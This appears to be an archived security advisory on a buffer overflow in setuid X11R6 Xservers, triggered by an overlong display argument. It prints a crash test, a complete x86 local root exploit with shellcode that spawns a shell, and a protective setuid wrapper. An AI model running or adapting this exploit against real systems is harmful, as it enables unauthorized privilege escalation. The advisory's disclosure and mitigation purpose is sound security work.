COMMAND

    Xserver (X11R6)

SYSTEMS AFFECTED

    Systems running X11R6 based Xserver

PROBLEM

    Pavel Kankovsky found  following.  On  a system where  X11R6-based
    Xserver  (R5  is  probably  affected  too)  is installed setuid or
    setgid  (e.g.  typical  XFree86  installation  has  XF86_*  setuid
    root), local users  can exploit a  buffer overrun in  its code and
    gain extra privileges (e.g. root privileges when Xserver is setuid
    root).  X11R6.x Xserver  recognizes a runtime argument  specifying
    the desired display (e.g. X  :1). It accepts ANY value  regardless
    of its length and contents (save from the initial colon).  Excerpt
    from xc/programs/Xserver/os/access.c (X11R6.3):

    /* Reset access control list to initial hosts */
    void
    ResetHosts (display)
        char *display;
    {
        register HOST       *host;
        char                lhostname[120], ohostname[120];
        char                *hostname = ohostname;
        char                fname[100];

    [snip]

        strcpy (fname, "/etc/X");
        strcat (fname, display);
        strcat (fname, ".hosts");
        if (fd = fopen (fname, "r"))
    [snip]

    }

    Xserver calls ResetHosts() during  its startup. A very  long value
    of "display"  (100 +  2*120 +  delta bytes)  overflows "fname" and
    corrupts the stack.  Quick vulnerability check:

        X :00000000000000000000000000000000000000000000000000000000000000000\
        00000000000000000000000000000000000000000000000000000000000000000000\
        00000000000000000000000000000000000000000000000000000000000000000000\
        00000000000000000000000000000000000000000000000000000000000000000000\
        00000000000000000000000000000000000000000000000000000000000000000000\
        00000000000000000000000000000000000000000000000000000000000000000000\
        00000000000000000000000000000000000000000000000000000000000000000009

    (add -nolock for XFree86, change  X to whatever name your  Xserver
    has).  Vulnerable Xserver will crash (Segmentation fault).   Rahul
    Sahadevan posted an x86 exploit.  This program has been tested  on
    most XF86  servers (version  3.2) shipped  with Redhat-4.2  and on
    XF86_SVGA (version 3.2  and 3.3.1). It  did not work  on XF86_SVGA
    3.1.x.

        /**********************************************************
        * Adapted from                                            *
        *   "Smashing The Stack For Fun And Profit"               *
        *     in Phrack-49 by Aleph One ( aleph1@underground.org )*
        * by                                                      *
        *   Rahul Sahadevan. ( srahul@csa.iisc.ernet.in )         *
        **********************************************************/

    /* Try 2 3 4 5 for OFFSET */
    #define OFFSET 2

    #include <string.h>
    #include <unistd.h>
    #include <errno.h>

    #define LENCODE ( sizeof( Code ) )
    char Code[] =
        "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
        "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
        "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
        "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
        "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";

    char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
    char *args[] = { "X", "-nolock", Display, NULL };

    main() {
      dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
      __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
      memcpy( ptr + 4, ptr, 0x3fc );
      memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
      memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
      execve( "/usr/X11R6/bin/X", args, args + 3 );
      perror( "execve" );
    }

SOLUTION

    Machines immunized against  stack smashing--e.g. Linux  boxes with
    Solar Designer's kernel patch--are probably not vulnerable.
    Quick fix:

        * remove setuid/setgid bit from all installed Xservers
        * use xdm or a safe setuid wrapper to start Xserver

    Here's a  wrapper for  this bug  and for  the older  XF86 security
    vulnerability (i.e. XF86_XX -config /etc/shadow):

    /*
        Description: X server wrapper

        Instalation steps:
         0. Become root (su -)
         1. Modify  the X_Server  program variable  according to  your
            taste (i.e. the X server true path, not the link to it!)
         2. Compile this program as
             cc Xserver.c -O4 -o Xserver
         3. Copy  the resulting  binary to  /usr/X11/bin, or  whatever
            path you may have
         4. chmod 04711 Xserver
         5. Suppose your X server is called "XF86_S3"; issue a command
            chmod 0711 XF86_S3
         6. Remove the old link for X (e.g X -> /usr/X11/bin/XF86_S3)
         7. Make a new link
             ln -s /usr/X11/bin/Xserver /usr/X11/bin/X

        Copyright policy: the GNU Public License.

        This program is intended as a temporary patch for an  existing
        X  server;  it  is  provided  "as  is",  the  author  is   not
        responsible for  any direct/indirect  damage(s) caused  by its
        use.
    */

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <syslog.h>
    #include <pwd.h>
    #include <sys/types.h>

    /*
       This is intended for debugging porposes only.
       Do NOT define this for a normal usage!!
    */
    #define _DEBUG
    #define SIZE 1024

    /* guaranteed filled with NULLs by UNIX */
    char* args[SIZE];
    int argsCount = 0;

    char* sccsID =
      "@(#) X wrapper 1.0 Copyright (C) 1998 by Vadimir COTFAS (ulianov@mecanica.math.unibuc.ro), Jan 14th 1998";
    char *X_Server = "/usr/X11/bin/XF86_S3";

    int main(int argc, char* argv[])
    {
       int i;
       uid_t uid, euid;
       struct passwd* pass;

       openlog("Xserver", LOG_CONS|LOG_NDELAY|LOG_PERROR|LOG_PID, LOG_AUTHPRIV);
       uid = getuid(); euid = geteuid();

       if(!((uid==0) || (euid==0))){
          fprintf(stderr,"Xserver: this program must be run as (setuid) root\n");
          exit(1);
       }

       pass = getpwuid(uid);

       for(i=0; i<argc; i++){
          char* p;
          if((index(argv[i],':') != NULL) && (strlen(argv[i]) > 2)){
             syslog(LOG_NOTICE, "potential buff ovrflw at arg #%d user %s",
                     i, pass->pw_name);
             continue;
          }
          if(strstr(argv[i], "-config")){
             syslog(LOG_NOTICE, "security vulnerability at arg #%d user %s \n",
                     i, pass->pw_name);
             i++;
             continue;
          }
          if(argsCount >= SIZE){
             syslog(LOG_NOTICE, "too many args (>1024) user %s \n", pass->pw_name);
             exit(1);
          }
          args[argsCount++] = argv[i];
       }
       args[argsCount] = NULL; /* just to be sure */

    #ifdef DEBUG
       for(i=0; i<argsCount; i++) printf("%s ", args[i]);
       printf("\n");
    #endif

       if(execv(X_Server, args) < 0){
         fprintf(stderr,"Xserver: could not execute the X server ``%s''\n", X_Server);
         exit(1);
       }

       /*NOTREACHED*/
       return 0;
    }